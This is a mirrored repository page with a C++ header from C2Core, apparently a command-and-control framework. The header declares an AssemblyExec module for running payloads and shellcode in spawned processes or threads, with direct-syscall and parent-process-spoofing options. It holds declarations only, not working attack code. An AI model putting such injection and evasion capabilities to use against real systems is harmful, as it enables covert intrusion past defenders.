mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
Maxime dcb
108a370807
* CommandSpecs * CommandSpecs * feat(command-specs): add simple module specs * listModule * AssemblyExec * AssemblyExecTests * Minor * Inject * InjectTests * Spec modules * Folder layout * upload & download * Chisel Minidump Powershell & Script * CoffLoader DotnetExec /KerberosUseTicket PsExec PwSh ScreenShot * add artifact_filters * Minor * stabilisation * Fixes * manual test * manual test * manual test * manual test * manual test * manual test * manual test * manual test * ScreenShot png * socks5 hostname * Maj for AI * minor
86 lines
2.2 KiB
C++
86 lines
2.2 KiB
C++
#pragma once
|
|
|
|
#include "ModuleCmd.hpp"
|
|
|
|
#ifdef _WIN32
|
|
#include <Windows.h>
|
|
#endif
|
|
|
|
|
|
class AssemblyExec : public ModuleCmd
|
|
{
|
|
|
|
public:
|
|
AssemblyExec();
|
|
~AssemblyExec();
|
|
|
|
std::string getInfo();
|
|
|
|
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
|
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
|
int initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message) override;
|
|
#endif
|
|
int initConfig(const nlohmann::json &config);
|
|
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
|
int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override;
|
|
int osCompatibility()
|
|
{
|
|
return OS_WINDOWS;
|
|
}
|
|
|
|
int setProcessToSpawn(const std::string& processToSpawn)
|
|
{
|
|
m_processToSpawn = processToSpawn;
|
|
return 0;
|
|
}
|
|
int setUseSyscall(bool useSyscall)
|
|
{
|
|
m_useSyscall = useSyscall;
|
|
return 0;
|
|
}
|
|
int setModeProcess(bool isModeProcess)
|
|
{
|
|
m_isModeProcess = isModeProcess;
|
|
return 0;
|
|
}
|
|
int setModeSpoofParent(bool isSpoofParent)
|
|
{
|
|
m_isSpoofParent = isSpoofParent;
|
|
return 0;
|
|
}
|
|
int setSpoofedParent(const std::string& spoofedParent)
|
|
{
|
|
m_spoofedParent = spoofedParent;
|
|
return 0;
|
|
}
|
|
|
|
private:
|
|
std::string m_processToSpawn;
|
|
bool m_useSyscall;
|
|
bool m_isModeProcess;
|
|
bool m_isSpoofParent;
|
|
std::string m_spoofedParent;
|
|
|
|
#ifdef __linux__
|
|
int whateverLinux(const std::string& payload, std::string& result);
|
|
#elif _WIN32
|
|
int createNewProcess(const std::string& payload, const std::string& processToSpawn, std::string& result);
|
|
int createNewProcessWithSpoofedParent(const std::string& payload, const std::string& processToSpawn, const std::string& spoofedParent, std::string& result);
|
|
int createNewThread(const std::string& payload, std::string& result);
|
|
|
|
bool m_isProcessRuning;
|
|
HANDLE m_processHandle;
|
|
int killProcess();
|
|
#endif
|
|
};
|
|
|
|
#ifdef _WIN32
|
|
|
|
extern "C" __declspec(dllexport) AssemblyExec * A_AssemblyExecConstructor();
|
|
|
|
#else
|
|
|
|
extern "C" __attribute__((visibility("default"))) AssemblyExec * AssemblyExecConstructor();
|
|
|
|
#endif
|